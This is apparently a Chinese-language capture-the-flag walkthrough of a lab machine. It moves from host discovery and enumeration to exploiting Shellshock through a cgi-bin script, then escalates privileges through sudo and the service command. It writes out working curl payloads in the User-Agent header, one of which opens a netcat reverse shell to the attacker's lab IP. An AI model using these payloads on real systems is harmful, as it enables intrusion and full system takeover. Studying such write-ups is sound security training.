目录
地址:
一、主机发现
fping -gaq 192.168.43.27/24
g生成一个网段列表
a发现存活主机
q安静模式,不显示扫描过程,只显示结果
二、端口扫描
三、服务版本发现
四、信息收集
1.页面源码
把所有的页面源码全部查看一遍,可以发现
有一个images的路径,尝试查看,但是对我们突破边界来说没有太多的帮助
在注释中可以看到cgi-bin,我们通过搜索可知这是一个目录,也是一个公共网关接口
2.访问cgi-bin
出现了403forbidden,证明了这确实存在。
五、目录爆破
六、信息收集2
1.README.md
在查看这个文件时,我们能了解到数据库信息,后端语言,前端语言框架等,还有最重要的一条这个应用在利用了github上的开源代码。
2.admin_login
是一个登录框
3.index.php/login
也是个登录框,有句话和张图片
4.网站源码
(1)管理员账户密码
可以看到默认的密码和用户名,尝试去登录,可惜两个登录框都不行。但是admin_login我们成功的登录进去了。
七、登录管理员后台
在管理员后台,我们可以找到用户的个人信息,也存在sql注入,但是呢这些并不足以让我们突破边界。
八、破壳漏洞-突破边界
1.破壳漏洞
破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。
但是呢,我们有登录不到shell怎么执行捏,但是cgi-bin为我们搭建了一个前往shell的通路。
2.nmap检测破壳漏洞是否存在
状态存在漏洞可利用,漏洞编号都有。
3.利用
定义的环境变量有函数的话,环境变量会把字符串解析为函数,在shell中执行,但在函数结束后,没有退出bash,而是继续执行后边的命令。
这里用curl工具-H参数自定义请求头部内容,为什么要把注入payload写入user-agent中,因为对于HTTP头部,CGI脚本解析器会将其当作环境变量,调用bash的env相关函数设置到临时环境变量中;
curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id" \http://192.168.43.156/cgi-bin/shell.sh
4.尝试反弹shell
curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/bash -c ' nc -e /bin/bash 192.168.43.27 5555 ' " \http://192.168.43.156/cgi-bin/shell.sh
成功反弹。突破边界
九、提权
1.利用python美化shell
python -c "import pty;pty.spawn('/bin/bash')"
还可用:
SHELL=/bin/bash script -q /dev/null
2.sudo -l
查看可以执行的和不能执行的命令。有一个可能运行的指令 ,在其他目录中未发现有用的信息
3.尝试以thor用户执行
经过测试发现第一个输入框的数据会显示i am $,而第二个可以以thor用户身份来执行命令。
4.执行shell命令并美化
SHELL=/bin/bash script -q /dev/null
5.找flag
6.sudo -l
查看可以执行的指令
7.利用service提权
说明网站:
https://gtfobins.github.io/gtfobins/service/
提权成功,拿到第二个flag root.txt